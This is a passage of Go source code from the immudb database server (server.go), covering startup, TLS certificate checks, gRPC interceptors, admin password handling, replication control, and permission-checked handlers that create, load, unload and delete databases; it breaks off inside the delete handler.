md["x-forwarded-for"]; ok && len(xffValues) > 0 { return xffValues[0] } else if xriValues, ok := md["x-real-ip"]; ok && len(xriValues) > 0 { return xriValues[0] } } p, ok := peer.FromContext(ctx) if !ok { return "" } addr := p.Addr.String() i := strings.Index(addr, ":") if i < 0 { return addr } return addr[:i] } ================================================ FILE: pkg/server/server.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "context" "crypto/x509" "fmt" "io/ioutil" "log" "net" "os" "os/signal" "path" "path/filepath" "strings" "syscall" "time" "unicode" "github.com/codenotary/immudb/pkg/server/sessions" "github.com/codenotary/immudb/pkg/truncator" "github.com/codenotary/immudb/embedded/remotestorage" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/errors" "github.com/codenotary/immudb/pkg/replication" pgsqlsrv "github.com/codenotary/immudb/pkg/pgsql/server" "github.com/codenotary/immudb/pkg/stream" "github.com/codenotary/immudb/pkg/database" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/signer" "github.com/codenotary/immudb/cmd/helper" "github.com/codenotary/immudb/cmd/version" "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/auth" "github.com/golang/protobuf/ptypes/empty" grpc_middleware "github.com/grpc-ecosystem/go-grpc-middleware" grpc_prometheus "github.com/grpc-ecosystem/go-grpc-prometheus" "google.golang.org/grpc" "google.golang.org/grpc/codes" "google.golang.org/grpc/credentials" "google.golang.org/grpc/reflection" "google.golang.org/grpc/status" ) const ( //KeyPrefixUser All user keys in the key/value store are prefixed by this keys to distinguish them from keys that have other purposes KeyPrefixUser = iota + 1 //KeyPrefixDBSettings is used for entries related to database settings KeyPrefixDBSettings ) var startedAt time.Time var immudbTextLogo = " _ _ _ \n" + "(_) | | | \n" + " _ _ __ ___ _ __ ___ _ _ __| | |__ \n" + "| | '_ ` _ \\| '_ ` _ \\| | | |/ _` | '_ \\ \n" + "| | | | | | | | | | | | |_| | (_| | |_) |\n" + "|_|_| |_| |_|_| |_| |_|\\__,_|\\__,_|_.__/ \n" // Initialize initializes dependencies, set up multi database capabilities and stats func (s *ImmuServer) Initialize() error { // Print to stdout in case of text logger, or in case logs are being written to file // This is to avoid mixing text output with json in case the log output is piped if (s.Options.IsJSONLogger() && s.Options.IsFileLogger()) || !s.Options.IsJSONLogger() { fmt.Fprintf(os.Stdout, "\n%s\n%s\n%s\n\n", immudbTextLogo, version.VersionStr(), s.Options) } // Print the logo to the file in case of a text output only if s.Options.IsJSONLogger() { s.Logger.Infof("\n%s\n%s\n\n", version.VersionStr(), s.Options) } else if s.Options.IsFileLogger() { s.Logger.Infof("\n%s\n%s\n%s\n\n", immudbTextLogo, version.VersionStr(), s.Options) } // Alert the user to certificates that are either expired or approaching expiration s.checkTLSCerts() if s.Options.GetMaintenance() && s.Options.GetAuth() { return ErrAuthMustBeDisabled } adminPassword, err := auth.DecodeBase64Password(s.Options.AdminPassword) if err != nil { return logErr(s.Logger, "%v", err) } if len(adminPassword) == 0 { s.Logger.Errorf(ErrEmptyAdminPassword.Error()) return ErrEmptyAdminPassword } dataDir := s.Options.Dir err = os.MkdirAll(dataDir, store.DefaultFileMode) if err != nil { return logErr(s.Logger, "Unable to create data dir: %v", err) } systemDbRootDir := s.OS.Join(dataDir, s.Options.GetDefaultDBName()) if s.UUID, err = getOrSetUUID(dataDir, systemDbRootDir, s.Options.RemoteStorageOptions.S3ExternalIdentifier); err != nil { return logErr(s.Logger, "Unable to get or set uuid: %v", err) } s.remoteStorage, err = s.createRemoteStorageInstance() if err != nil { return logErr(s.Logger, "Unable to open remote storage: %v", err) } err = s.initializeRemoteStorage(s.remoteStorage) if err != nil { return logErr(s.Logger, "unable to initialize remote storage: %v", err) } // NOTE: MaxActiveDatabases might have changed since the server instance was created s.dbList.Resize(s.Options.MaxActiveDatabases) if err = s.loadSystemDatabase(dataDir, s.remoteStorage, adminPassword, s.Options.ForceAdminPassword); err != nil { return logErr(s.Logger, "unable to load system database: %v", err) } if err = s.loadDefaultDatabase(dataDir, s.remoteStorage); err != nil { return logErr(s.Logger, "unable to load default database: %v", err) } defaultDB, _ := s.dbList.GetByIndex(defaultDbIndex) dbSize, _ := defaultDB.TxCount() if dbSize <= 1 { s.Logger.Infof("started with an empty default database") } if s.sysDB.IsReplica() { s.Logger.Infof("recovery mode. Only '%s' and '%s' databases are loaded", SystemDBName, DefaultDBName) } else { if err = s.loadUserDatabases(dataDir, s.remoteStorage); err != nil { return logErr(s.Logger, "unable load databases: %v", err) } } s.multidbmode = s.mandatoryAuth() if !s.Options.GetAuth() && s.multidbmode { return ErrAuthMustBeEnabled } s.SessManager, err = sessions.NewManager(s.Options.SessionsOptions) if err != nil { return err } grpcSrvOpts := []grpc.ServerOption{} if s.Options.TLSConfig != nil { grpcSrvOpts = []grpc.ServerOption{grpc.Creds(credentials.NewTLS(s.Options.TLSConfig))} } if s.Options.SigningKey != "" { if signer, err := signer.NewSigner(s.Options.SigningKey); err != nil { return logErr(s.Logger, "unable to configure the cryptographic signer: %v", err) } else { s.StateSigner = NewStateSigner(signer) } } if s.Options.usingCustomListener { s.Logger.Infof("using custom listener") s.Listener = s.Options.listener } else { s.Listener, err = net.Listen(s.Options.Network, s.Options.Bind()) if err != nil { return logErr(s.Logger, "immudb unable to listen: %v", err) } } if s.remoteStorage != nil { err := s.updateRemoteUUID(s.remoteStorage) if err != nil { return logErr(s.Logger, "unable to persist uuid on the remote storage: %v", err) } } auth.AuthEnabled = s.Options.GetAuth() auth.DevMode = s.Options.DevMode auth.UpdateMetrics = func(ctx context.Context) { Metrics.UpdateClientMetrics(ctx) } if err = s.setupPidFile(); err != nil { return err } if s.Options.StreamChunkSize < stream.MinChunkSize { return errors.New(stream.ErrChunkTooSmall).WithCode(errors.CodInvalidParameterValue) } //===> !NOTE: See Histograms section here: // https://github.com/grpc-ecosystem/go-grpc-prometheus // TL;DR: // Prometheus histograms are a great way to measure latency distributions of // your RPCs. However, since it is bad practice to have metrics of high // cardinality the latency monitoring metrics are disabled by default. To // enable them the following has to be called during initialization code: if !s.Options.NoHistograms { grpc_prometheus.EnableHandlingTimeHistogram() } //<=== uuidContext := NewUUIDContext(s.UUID) uis := []grpc.UnaryServerInterceptor{ ErrorMapper, // converts errors in gRPC ones. Need to be the first s.AccessLogInterceptor, s.KeepAliveSessionInterceptor, uuidContext.UUIDContextSetter, grpc_prometheus.UnaryServerInterceptor, auth.ServerUnaryInterceptor, s.SessionAuthInterceptor, s.InjectRequestMetadataUnaryInterceptor, } sss := []grpc.StreamServerInterceptor{ ErrorMapperStream, // converts errors in gRPC ones. Need to be the first s.AccessLogStreamInterceptor, s.KeepALiveSessionStreamInterceptor, uuidContext.UUIDStreamContextSetter, grpc_prometheus.StreamServerInterceptor, auth.ServerStreamInterceptor, s.InjectRequestMetadataStreamInterceptor, } grpcSrvOpts = append( grpcSrvOpts, grpc.UnaryInterceptor(grpc_middleware.ChainUnaryServer(uis...)), grpc.StreamInterceptor(grpc_middleware.ChainStreamServer(sss...)), grpc.MaxRecvMsgSize(s.Options.MaxRecvMsgSize), ) s.GrpcServer = grpc.NewServer(grpcSrvOpts...) if s.Options.GRPCReflectionServerEnabled { reflection.Register(s.GrpcServer) } schema.RegisterImmuServiceServer(s.GrpcServer, s) protomodel.RegisterDocumentServiceServer(s.GrpcServer, s) protomodel.RegisterAuthorizationServiceServer(s.GrpcServer, &authenticationServiceImp{server: s}) grpc_prometheus.Register(s.GrpcServer) if s.Options.PgsqlServer { s.PgsqlSrv = pgsqlsrv.New( pgsqlsrv.Host(s.Options.Address), pgsqlsrv.Port(s.Options.PgsqlServerPort), pgsqlsrv.ImmudbPort(s.Listener.Addr().(*net.TCPAddr).Port), pgsqlsrv.TLSConfig(s.Options.TLSConfig), pgsqlsrv.Logger(s.Logger), pgsqlsrv.DatabaseList(s.dbList), pgsqlsrv.LogRequestMetadata(s.Options.LogRequestMetadata), ) if err = s.PgsqlSrv.Initialize(); err != nil { return err } } return err } func (s *ImmuServer) checkTLSCerts() { if s.Options.TLSConfig == nil { return } now := time.Now() for _, cert := range s.Options.TLSConfig.Certificates { if len(cert.Certificate) == 0 { s.Logger.Errorf("tls config contains an invalid certificate") continue } x509Cert, err := x509.ParseCertificate(cert.Certificate[0]) if err != nil { s.Logger.Errorf("could not parse certificate: %s", err) continue } if now.Before(x509Cert.NotBefore) || now.After(x509Cert.NotAfter) { s.Logger.Warningf("certificate with serial number %s is expired", x509Cert.SerialNumber.String()) } else if !now.Before(x509Cert.NotAfter.Add(-30 * 24 * time.Hour)) { s.Logger.Warningf("certificate with serial number %s is about to expire: %s left", x509Cert.SerialNumber.String(), x509Cert.NotAfter.Sub(now).String()) } } } // Start starts the immudb server // Loads and starts the System DB, default db and user db func (s *ImmuServer) Start() (err error) { s.mux.Lock() s.pgsqlMux.Lock() startedAt = time.Now() if s.Options.MetricsServer { s.metricsServer = StartMetrics( 1*time.Minute, s.Options.MetricsBind(), s.Options.TLSConfig, s.Logger, s.metricFuncServerUptimeCounter, s.metricFuncComputeDBSizes, s.metricFuncComputeDBEntries, s.metricFuncComputeLoadedDBSize, s.metricFuncComputeSessionCount, s.Options.PProf) defer func() { if err := s.metricsServer.Close(); err != nil { s.Logger.Errorf("failed to shutdown metric server: %s", err) } }() } s.installShutdownHandler() go func() { if err := s.GrpcServer.Serve(s.Listener); err != nil { s.mux.Unlock() log.Fatal(err) } }() if err = s.SessManager.StartSessionsGuard(); err != nil { log.Fatal(err) } s.Logger.Infof("sessions guard started") if s.Options.PgsqlServer { go func() { s.Logger.Infof("pgsql server is running at port %d", s.Options.PgsqlServerPort) if err := s.PgsqlSrv.Serve(); err != nil { s.pgsqlMux.Unlock() log.Fatal(err) } }() } if s.Options.WebServer { if err := s.setUpWebServer(context.Background()); err != nil { log.Fatalf("failed to setup web API/console server: %v", err) } defer func() { if err := s.webServer.Close(); err != nil { s.Logger.Errorf("failed to shutdown web API/console server: %s", err) } }() } go s.printUsageCallToAction() s.mux.Unlock() s.pgsqlMux.Unlock() <-s.quit return err } func logErr(log logger.Logger, formattedMessage string, err error) error { if err != nil { log.Errorf(formattedMessage, err) } return err } func (s *ImmuServer) setupPidFile() error { var err error if s.Options.Pidfile != "" { if s.Pid, err = NewPid(s.Options.Pidfile, s.OS); err != nil { return logErr(s.Logger, "failed to write pidfile: %s", err) } } return err } func (s *ImmuServer) setUpWebServer(ctx context.Context) error { server, err := startWebServer( ctx, s.Options.Bind(), s.Options.WebBind(), s.Options.TLSConfig, s, s.Logger, ) if err != nil { return err } s.webServer = server return nil } func (s *ImmuServer) printUsageCallToAction() { time.Sleep(200 * time.Millisecond) immuadminCLI := helper.Blue + "immuadmin" + helper.Green immuclientCLI := helper.Blue + "immuclient" + helper.Green defaultUsername := helper.Blue + auth.SysAdminUsername + helper.Green // Print to stdout in case of text logger, or in case logs are being written to file // This is to avoid mixing text output with json in case the log output is piped if (s.Options.IsJSONLogger() && s.Options.IsFileLogger()) || !s.Options.IsJSONLogger() { fmt.Fprintf(os.Stdout, "%syou can now use %s and %s CLIs to login with the %s superadmin user and start using immudb.%s\n", helper.Green, immuadminCLI, immuclientCLI, defaultUsername, helper.Reset) } if s.Options.IsFileLogger() { s.Logger.Infof( "you can now use immuadmin and immuclient CLIs to login with the %s superadmin user and start using immudb.\n", auth.SysAdminUsername) } } func (s *ImmuServer) resetAdminPassword(ctx context.Context, adminPassword string) (bool, error) { if s.sysDB.IsReplica() { return false, errors.New("database is running as a replica") } adminUser, err := s.getUser(ctx, []byte(auth.SysAdminUsername)) if err != nil { return false, fmt.Errorf("could not read sysadmin user data: %v", err) } err = adminUser.ComparePasswords([]byte(adminPassword)) if err == nil { // Password is as expected, do not overwrite it to avoid unnecessary // transactions in systemdb return false, nil } _, err = adminUser.SetPassword([]byte(adminPassword)) if err != nil { return false, err } err = s.saveUser(ctx, adminUser) if err != nil { return false, err } return true, nil } func (s *ImmuServer) loadSystemDatabase( dataDir string, remoteStorage remotestorage.Storage, adminPassword string, forceAdminPasswordReset bool, ) error { if s.dbList.Length() != 0 { panic("loadSystemDatabase should be called before any other database loading") } dbOpts, err := s.loadDBOptions(s.Options.GetSystemAdminDBName(), false) if err != nil { return fmt.Errorf("%w: while loading '%s' database settings", err, s.Options.GetSystemAdminDBName()) } systemDBRootDir := s.OS.Join(dataDir, s.Options.GetSystemAdminDBName()) _, err = s.OS.Stat(systemDBRootDir) if err == nil { s.sysDB, err = database.OpenDB(dbOpts.Database, s.multidbHandler(), s.databaseOptionsFrom(dbOpts), s.Logger) if err != nil { s.Logger.Errorf("database '%s' was not correctly initialized.\n"+"Use replication to recover from external source or start without data folder.", dbOpts.Database) return err } if forceAdminPasswordReset { changed, err := s.resetAdminPassword(context.Background(), adminPassword) if err != nil { s.Logger.Errorf("can not reset admin password, %v", err) return ErrCantUpdateAdminPassword } if changed { s.Logger.Warningf("admin password was reset to the value specified in options") } else { s.Logger.Infof("admin password update was not needed") } } else if adminPassword != auth.SysAdminPassword { // Add warning that the password is not changed even though manually specified user, err := s.getUser(context.Background(), []byte(auth.SysAdminUsername)) if err != nil { s.Logger.Errorf("can not validate admin user: %v", err) return err } err = user.ComparePasswords([]byte(adminPassword)) if err != nil { s.Logger.Warningf( "admin password was not updated, " + "use the force-admin-password option to forcibly reset it", ) } } if dbOpts.isReplicatorRequired() { err = s.startReplicationFor(s.sysDB, dbOpts) if err != nil { s.Logger.Errorf("error starting replication for database '%s'. Reason: %v", s.sysDB.GetName(), err) } } return nil } if !s.OS.IsNotExist(err) { return err } s.sysDB, err = database.NewDB(dbOpts.Database, s.multidbHandler(), s.databaseOptionsFrom(dbOpts), s.Logger) if err != nil { return err } //sys admin can have an empty array of databases as it has full access if !s.sysDB.IsReplica() { s.sysDB.SetSyncReplication(false) adminUsername, _, err := s.insertNewUser(context.Background(), []byte(auth.SysAdminUsername), []byte(adminPassword), auth.PermissionSysAdmin, "*", "") if err != nil { return logErr(s.Logger, "%v", err) } if s.Options.ReplicationOptions.SyncReplication { s.sysDB.SetSyncReplication(true) } s.Logger.Infof("admin user '%s' successfully created", adminUsername) } if dbOpts.isReplicatorRequired() { err = s.startReplicationFor(s.sysDB, dbOpts) if err != nil { s.Logger.Errorf("error starting replication for database '%s'. Reason: %v", s.sysDB.GetName(), err) } } return nil } // loadDefaultDatabase func (s *ImmuServer) loadDefaultDatabase(dataDir string, remoteStorage remotestorage.Storage) error { if s.dbList.Length() != 0 { panic("loadDefaultDatabase should be called right after loading systemDatabase") } dbOpts, err := s.loadDBOptions(s.Options.GetDefaultDBName(), false) if err != nil { return fmt.Errorf("%w: while loading '%s' database settings", err, s.Options.GetDefaultDBName()) } defaultDbRootDir := s.OS.Join(dataDir, s.Options.GetDefaultDBName()) _, err = s.OS.Stat(defaultDbRootDir) if err == nil { db := s.dbList.Put(dbOpts.Database, s.databaseOptionsFrom(dbOpts)) if dbOpts.isReplicatorRequired() { err = s.startReplicationFor(db, dbOpts) if err != nil { s.Logger.Errorf("error starting replication for database '%s'. Reason: %v", db.GetName(), err) } } return nil } if !s.OS.IsNotExist(err) { return err } opts := s.databaseOptionsFrom(dbOpts) os.MkdirAll(path.Join(opts.GetDBRootPath(), dbOpts.Database), os.ModePerm) db := s.dbList.Put(dbOpts.Database, opts) if dbOpts.isReplicatorRequired() { err = s.startReplicationFor(db, dbOpts) if err != nil { s.Logger.Errorf("error starting replication for database '%s'. Reason: %v", db.GetName(), err) } } return nil } func (s *ImmuServer) loadUserDatabases(dataDir string, remoteStorage remotestorage.Storage) error { var dirs []string //get first level sub directories of data dir files, err := ioutil.ReadDir(s.Options.Dir) if err != nil { return err } for _, f := range files { if !f.IsDir() || f.Name() == s.Options.GetSystemAdminDBName() || f.Name() == s.Options.GetDefaultDBName() || f.Name() == s.Options.LogDir { continue } dirs = append(dirs, f.Name()) } // load databases that are inside each directory for _, val := range dirs { //dbname is the directory name where it is stored //path iteration above stores the directories as data/db_name pathparts := strings.Split(val, string(filepath.Separator)) dbname := pathparts[len(pathparts)-1] dbOpts, err := s.loadDBOptions(dbname, true) if err != nil { return err } s.logDBOptions(dbname, dbOpts) var db database.DB if dbOpts.Autoload.isEnabled() { db = s.dbList.Put(dbname, s.databaseOptionsFrom(dbOpts)) } else { s.Logger.Infof("database '%s' is closed (autoload is disabled)", dbname) s.dbList.PutClosed(dbname, s.databaseOptionsFrom(dbOpts)) continue } if dbOpts.isReplicatorRequired() { err = s.startReplicationFor(db, dbOpts) if err != nil { s.Logger.Errorf("error starting replication for database '%s'. Reason: %v", db.GetName(), err) } } if dbOpts.isDataRetentionEnabled() { err = s.startTruncatorFor(db, dbOpts) if err != nil { s.Logger.Errorf("error starting truncation for database '%s'. Reason: %v", db.GetName(), err) } } } return nil } func (s *ImmuServer) replicationInProgressFor(db string) bool { s.replicationMutex.Lock() defer s.replicationMutex.Unlock() _, ok := s.replicators[db] return ok } func (s *ImmuServer) startReplicationFor(db database.DB, dbOpts *dbOptions) error { if !dbOpts.isReplicatorRequired() { s.Logger.Infof("replication for database '%s' is not required.", db.GetName()) return ErrReplicatorNotNeeded } s.replicationMutex.Lock() defer s.replicationMutex.Unlock() replicatorOpts := replication.DefaultOptions(). WithPrimaryDatabase(dbOpts.PrimaryDatabase). WithPrimaryHost(dbOpts.PrimaryHost). WithPrimaryPort(dbOpts.PrimaryPort). WithPrimaryUsername(dbOpts.PrimaryUsername). WithPrimaryPassword(dbOpts.PrimaryPassword). WithPrefetchTxBufferSize(dbOpts.PrefetchTxBufferSize). WithReplicationCommitConcurrency(dbOpts.ReplicationCommitConcurrency). WithAllowTxDiscarding(dbOpts.AllowTxDiscarding). WithSkipIntegrityCheck(dbOpts.SkipIntegrityCheck). WithWaitForIndexing(dbOpts.WaitForIndexing). WithStreamChunkSize(s.Options.StreamChunkSize) f, err := replication.NewTxReplicator(s.UUID, db, replicatorOpts, s.Logger) if err != nil { return err } err = f.Start() if err != nil { return err } s.replicators[db.GetName()] = f return nil } func (s *ImmuServer) stopReplicationFor(db string) error { s.replicationMutex.Lock() defer s.replicationMutex.Unlock() replicator, ok := s.replicators[db] if !ok { return ErrReplicationNotInProgress } err := replicator.Stop() if err == replication.ErrAlreadyStopped { return nil } if err != nil { return err } delete(s.replicators, db) return nil } func (s *ImmuServer) stopReplication() { s.replicationMutex.Lock() defer s.replicationMutex.Unlock() for db, f := range s.replicators { err := f.Stop() if err != nil { s.Logger.Warningf("error stopping replication for '%s'. Reason: %v", db, err) } } } // Stop stops the immudb server func (s *ImmuServer) Stop() error { s.mux.Lock() defer s.mux.Unlock() s.Logger.Infof("stopping immudb:\n%v", s.Options) defer func() { s.quit <- struct{}{} }() if !s.Options.usingCustomListener { s.GrpcServer.Stop() defer func() { s.GrpcServer = nil }() } s.SessManager.StopSessionsGuard() s.stopReplication() s.stopTruncation() return s.CloseDatabases() } // CloseDatabases closes all opened databases including the consinstency checker func (s *ImmuServer) CloseDatabases() error { ctx, cancel := context.WithTimeout(context.Background(), time.Second*10) defer cancel() if err := s.dbList.CloseAll(ctx); err != nil { return err } if s.sysDB != nil { s.sysDB.Close() } return nil } func (s *ImmuServer) updateConfigItem(key string, newOrUpdatedLine string, unchanged func(string) bool) error { configFilepath := s.Options.Config if strings.TrimSpace(configFilepath) == "" { return fmt.Errorf("config file does not exist") } configBytes, err := s.OS.ReadFile(configFilepath) if err != nil { return fmt.Errorf("error reading config file '%s'. Reason: %v", configFilepath, err) } configLines := strings.Split(string(configBytes), "\n") write := false for i, l := range configLines { l = strings.TrimSpace(l) if strings.HasPrefix(l, key+"=") || strings.HasPrefix(l, key+" =") { kv := strings.Split(l, "=") if unchanged(kv[1]) { return fmt.Errorf("server config already has '%s'", newOrUpdatedLine) } configLines[i] = newOrUpdatedLine write = true break } } if !write { configLines = append(configLines, newOrUpdatedLine) } if err := s.OS.WriteFile(configFilepath, []byte(strings.Join(configLines, "\n")), 0644); err != nil { return err } return nil } // UpdateAuthConfig is DEPRECATED func (s *ImmuServer) UpdateAuthConfig(ctx context.Context, req *schema.AuthConfig) (*empty.Empty, error) { return nil, ErrNotSupported } // UpdateMTLSConfig is DEPRECATED func (s *ImmuServer) UpdateMTLSConfig(ctx context.Context, req *schema.MTLSConfig) (*empty.Empty, error) { return nil, ErrNotSupported } // ServerInfo returns information about the server instance. func (s *ImmuServer) ServerInfo(ctx context.Context, req *schema.ServerInfoRequest) (*schema.ServerInfoResponse, error) { dbSize, err := s.totalDBSize() if err != nil { return nil, err } numTransactions, err := s.numTransactions() if err != nil { return nil, err } return &schema.ServerInfoResponse{ Version: version.Version, StartedAt: startedAt.Unix(), NumTransactions: int64(numTransactions), NumDatabases: int32(s.dbList.Length()), DatabasesDiskSize: dbSize, }, err } func (s *ImmuServer) numTransactions() (uint64, error) { s.dbListMutex.Lock() defer s.dbListMutex.Unlock() var count uint64 for i := 0; i < s.dbList.Length(); i++ { db, err := s.dbList.GetByIndex(i) if err == database.ErrDatabaseNotExists { continue } if err != nil { return 0, err } state, err := db.CurrentState() if err != nil { return 0, err } count += state.TxId } return count, nil } func (s *ImmuServer) totalDBSize() (int64, error) { s.dbListMutex.Lock() defer s.dbListMutex.Unlock() var size int64 for i := 0; i < s.dbList.Length(); i++ { db, err := s.dbList.GetByIndex(i) if err == database.ErrDatabaseNotExists { continue } if err != nil { return -1, err } dbName := db.GetName() dbSize, err := dirSize(filepath.Join(s.Options.Dir, dbName)) if err != nil { return -1, err } size += int64(dbSize) } return size, nil } // Health ... func (s *ImmuServer) Health(ctx context.Context, _ *empty.Empty) (*schema.HealthResponse, error) { return &schema.HealthResponse{Status: true, Version: Version.Version}, nil } func (s *ImmuServer) installShutdownHandler() { c := make(chan os.Signal, 1) signal.Notify(c, os.Interrupt, syscall.SIGTERM) go func() { <-c s.Logger.Infof("caught SIGTERM") if err := s.Stop(); err != nil { s.Logger.Errorf("shutdown error: %v", err) } s.Logger.Infof("shutdown completed") }() } // CreateDatabase Create a new database instance func (s *ImmuServer) CreateDatabase(ctx context.Context, req *schema.Database) (*empty.Empty, error) { if req == nil { return nil, ErrIllegalArguments } _, err := s.CreateDatabaseV2(ctx, &schema.CreateDatabaseRequest{Name: req.DatabaseName}) if err != nil { return nil, err } return &empty.Empty{}, nil } // CreateDatabaseWith Create a new database instance func (s *ImmuServer) CreateDatabaseWith(ctx context.Context, req *schema.DatabaseSettings) (*empty.Empty, error) { if req == nil { return nil, ErrIllegalArguments } _, err := s.CreateDatabaseV2(ctx, &schema.CreateDatabaseRequest{ Name: req.DatabaseName, Settings: dbSettingsToDBNullableSettings(req), }) if err != nil { return nil, err } return &empty.Empty{}, nil } // CreateDatabaseV2 Create a new database instance func (s *ImmuServer) CreateDatabaseV2(ctx context.Context, req *schema.CreateDatabaseRequest) (res *schema.CreateDatabaseResponse, err error) { if req == nil { return nil, ErrIllegalArguments } s.Logger.Infof("creating database '%s'...", req.Name) defer func() { if err == nil { s.Logger.Infof("database '%s' successfully created", req.Name) } else { s.Logger.Infof("database '%s' could not be created. Reason: %v", req.Name, err) } }() if s.Options.GetMaintenance() { return nil, ErrNotAllowedInMaintenanceMode } if !s.Options.GetAuth() { return nil, ErrAuthMustBeEnabled } _, user, err := s.getLoggedInUserdataFromCtx(ctx) if err != nil { return nil, fmt.Errorf("could not get loggedin user data") } if !user.IsSysAdmin { return nil, fmt.Errorf("loggedin user does not have permissions for this operation") } if req.Name == s.Options.defaultDBName || req.Name == s.Options.systemAdminDBName { return nil, ErrReservedDatabase } req.Name = strings.ToLower(req.Name) if err = isValidDBName(req.Name); err != nil { return nil, err } s.dbListMutex.Lock() defer s.dbListMutex.Unlock() // check if database exists if s.dbList.GetId(req.Name) >= 0 { if !req.IfNotExists { return nil, database.ErrDatabaseAlreadyExists } dbOpts, err := s.loadDBOptions(req.Name, false) if err != nil { return nil, fmt.Errorf("%w: while loading database settings", err) } return &schema.CreateDatabaseResponse{ Name: req.Name, Settings: dbOpts.databaseNullableSettings(), AlreadyExisted: true, }, nil } dbOpts := s.defaultDBOptions(req.Name, user.Username) if req.Settings != nil { err = s.overwriteWith(dbOpts, req.Settings, false) if err != nil { return nil, err } } err = s.saveDBOptions(dbOpts) if err != nil { return nil, err } opts := s.databaseOptionsFrom(dbOpts) os.MkdirAll(path.Join(opts.GetDBRootPath(), dbOpts.Database), os.ModePerm) db := s.dbList.Put(dbOpts.Database, s.databaseOptionsFrom(dbOpts)) s.multidbmode = true s.logDBOptions(db.GetName(), dbOpts) err = s.startReplicationFor(db, dbOpts) if err != nil && err != ErrReplicatorNotNeeded { return nil, fmt.Errorf("%w: while starting replication", err) } err = s.startTruncatorFor(db, dbOpts) if err != nil && err != ErrTruncatorNotNeeded { return nil, fmt.Errorf("%w: while starting truncation", err) } return &schema.CreateDatabaseResponse{ Name: req.Name, Settings: dbOpts.databaseNullableSettings(), }, nil } func (s *ImmuServer) LoadDatabase(ctx context.Context, req *schema.LoadDatabaseRequest) (res *schema.LoadDatabaseResponse, err error) { if req == nil { return nil, ErrIllegalArguments } s.Logger.Infof("loading database '%s'...", req.Database) defer func() { if err == nil { s.Logger.Infof("database '%s' successfully loaded", req.Database) } else { s.Logger.Infof("database '%s' could not be loaded. Reason: %v", req.Database, err) } }() if req.Database == s.Options.defaultDBName || req.Database == s.Options.systemAdminDBName { return nil, ErrReservedDatabase } if !s.Options.GetAuth() { return nil, ErrAuthMustBeEnabled } _, user, err := s.getLoggedInUserdataFromCtx(ctx) if err != nil { return nil, fmt.Errorf("could not get loggedin user data") } //if the requesting user has admin permission on this database if (!user.IsSysAdmin) && (!user.HasPermission(req.Database, auth.PermissionAdmin)) { return nil, fmt.Errorf("the database '%s' does not exist or you do not have admin permission on this database", req.Database) } s.dbListMutex.Lock() defer s.dbListMutex.Unlock() db, err := s.dbList.GetByName(req.Database) if err != nil { return nil, err } if !db.IsClosed() { return nil, ErrDatabaseAlreadyLoaded } dbOpts, err := s.loadDBOptions(req.Database, false) if err == store.ErrKeyNotFound { return nil, fmt.Errorf("%w: while opening database '%s'", database.ErrDatabaseNotExists, req.Database) } if err != nil { return nil, fmt.Errorf("%w: while loading database settings", err) } s.dbList.Put(req.Database, s.databaseOptionsFrom(dbOpts)) if dbOpts.isReplicatorRequired() { err = s.startReplicationFor(db, dbOpts) if err != nil && err != ErrReplicatorNotNeeded { return nil, fmt.Errorf("%w: while starting replication", err) } } err = s.startTruncatorFor(db, dbOpts) if err != nil && err != ErrTruncatorNotNeeded { return nil, fmt.Errorf("%w: while starting truncation", err) } return &schema.LoadDatabaseResponse{ Database: req.Database, }, nil } func (s *ImmuServer) UnloadDatabase(ctx context.Context, req *schema.UnloadDatabaseRequest) (res *schema.UnloadDatabaseResponse, err error) { if req == nil { return nil, ErrIllegalArguments } s.Logger.Infof("unloading database '%s'...", req.Database) defer func() { if err == nil { s.Logger.Infof("database '%s' successfully unloaded", req.Database) } else { s.Logger.Infof("database '%s' could not be unloaded. Reason: %v", req.Database, err) } }() if req.Database == s.Options.defaultDBName || req.Database == s.Options.systemAdminDBName { return nil, ErrReservedDatabase } if !s.Options.GetAuth() { return nil, ErrAuthMustBeEnabled } _, user, err := s.getLoggedInUserdataFromCtx(ctx) if err != nil { return nil, fmt.Errorf("could not get loggedin user data") } //if the requesting user has admin permission on this database if (!user.IsSysAdmin) && (!user.HasPermission(req.Database, auth.PermissionAdmin)) { return nil, fmt.Errorf("the database '%s' does not exist or you do not have admin permission on this database", req.Database) } s.dbListMutex.Lock() defer s.dbListMutex.Unlock() db, err := s.dbList.GetByName(req.Database) if err != nil { return nil, err } if db.IsClosed() { return nil, store.ErrAlreadyClosed } dbOpts, err := s.loadDBOptions(req.Database, false) if err != nil { return nil, fmt.Errorf("%w: while reading database settings", err) } if dbOpts.isReplicatorRequired() { err = s.stopReplicationFor(req.Database) if err != nil && err != ErrReplicationNotInProgress { return nil, fmt.Errorf("%w: while stopping replication", err) } } if dbOpts.isDataRetentionEnabled() { err = s.stopTruncatorFor(req.Database) if err != nil && err != ErrTruncatorNotInProgress { return nil, fmt.Errorf("%w: while stopping truncation", err) } } err = db.Close() if err != nil { return nil, err } return &schema.UnloadDatabaseResponse{ Database: req.Database, }, nil } func (s *ImmuServer) DeleteDatabase(ctx context.Context, req *schema.DeleteDatabaseRequest) (res *schema.DeleteDatabaseResponse, err error) { if req == nil { return nil, ErrIllegalArguments } s.Logger.Infof("deleting database '%s'...", req.Database) defer func() { if err == nil { s.Logger.Infof("database '%s' successfully deleted", req.Database) } else { s.Logger.Infof("database '%s' could not be deleted. Reason: %v", req.Database, err) } }() if !s.Options.GetAuth() { return nil, ErrAuthMustBeEnabled } if req.Database == s.Options.defaultDBName || req.Database == s.Options.systemAdminDBName { return nil, ErrReservedDatabase } _, user, err := s.getLoggedInUserdataFromCtx(ctx) if err != nil { return nil, fmt.Errorf("could not get loggedin user data") } //if the requesting user has admin permission on this database if (!user.IsSysAdmin) && (!user.HasPermission(req.Database, auth.PermissionAdmin)) { return nil, fmt.Errorf("the database '%s' does not exist or you do not have admin permission on this database", req.Database) } s.dbListMutex.Lock() defer s.dbListMutex.Unlock() db, err := s.dbList.Delete(req.Database) if err != nil { return nil, err } err = s.deleteDBOptionsFor(req.Database) if err != nil { return nil, err } err = os.RemoveAll(db.Path()) if err 